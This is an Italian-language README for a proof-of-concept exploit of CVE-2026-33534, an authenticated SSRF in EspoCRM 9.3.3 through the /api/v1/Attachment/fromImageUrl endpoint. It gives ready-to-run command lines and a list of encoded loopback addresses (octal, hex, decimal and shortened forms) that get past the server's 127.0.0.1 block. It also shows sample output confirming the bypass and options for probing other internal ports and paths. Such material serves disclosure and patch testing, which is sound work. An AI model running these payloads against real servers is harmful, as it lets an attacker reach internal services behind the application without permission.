
EspoCRM 9.3.3 - SSRF autenticato tramite notazione IPv4 alternativa
Proof-of-concept di SSRF autenticato per EspoCRM 9.3.3 tramite notazione alternativa IPv4 loopback nell'endpoint /api/v1/Attachment/fromImageUrl.
EspoCRM 9.3.3 blocca gli URL loopback diretti come http://127.0.0.1/..., ma il percorso di fetch lato server accetta rappresentazioni IPv4 alternative che cURL normalizza in loopback. Ciò consente a un utente autenticato con accesso al flusso di caricamento allegati/immagini interessato di far recuperare al server EspoCRM risorse interne.
L'exploit invia prima una richiesta di controllo diretta a 127.0.0.1 e si aspetta che venga bloccata con HTTP 403. Successivamente testa più payload loopback codificati e segnala quali producono un allegato memorizzato.
requestsInstalla la dipendenza:
python3 -m pip install requests
Validazione locale di base contro un'istanza EspoCRM in esecuzione sulla porta 8083:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Testa un servizio interno su porta e percorso personalizzati:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Usa solo payload personalizzati:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
L'exploit testa queste rappresentazioni host loopback per impostazione predefinita:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
I file di payload personalizzati sono supportati. Ogni riga può essere:
host
label=host
Esempio:
hex-dword=0x7f000001
decimal-dword=2130706433
Esegui con:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url URL base EspoCRM
-U, --username Nome utente EspoCRM
-P, --password Password EspoCRM
--internal-port Porta loopback interna da recuperare
--internal-path Percorso interno da recuperare
--payload Notazione host loopback aggiuntiva
--payload-file File con un payload host per riga
--no-default-payloads Usa solo payload personalizzati
--field Campo allegato, predefinito: avatar
--parent-type Tipo entità padre, predefinito: User
--parent-id ID entità padre opzionale
--cleanup Elimina gli allegati creati dai payload riusciti
--stop-on-first Fermati dopo il primo bypass riuscito
--insecure Disabilita la verifica del certificato TLS
Uno sfruttamento riuscito mostra il controllo loopback diretto bloccato e uno o più payload codificati accettati:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg dal listener loopback del target stesso. Regola --internal-port e --internal-path per un altro servizio interno.User.avatar; usa --field, --parent-type e --parent-id se l'account testato necessita di un contesto di caricamento diverso.--cleanup durante i test per eliminare automaticamente gli allegati creati.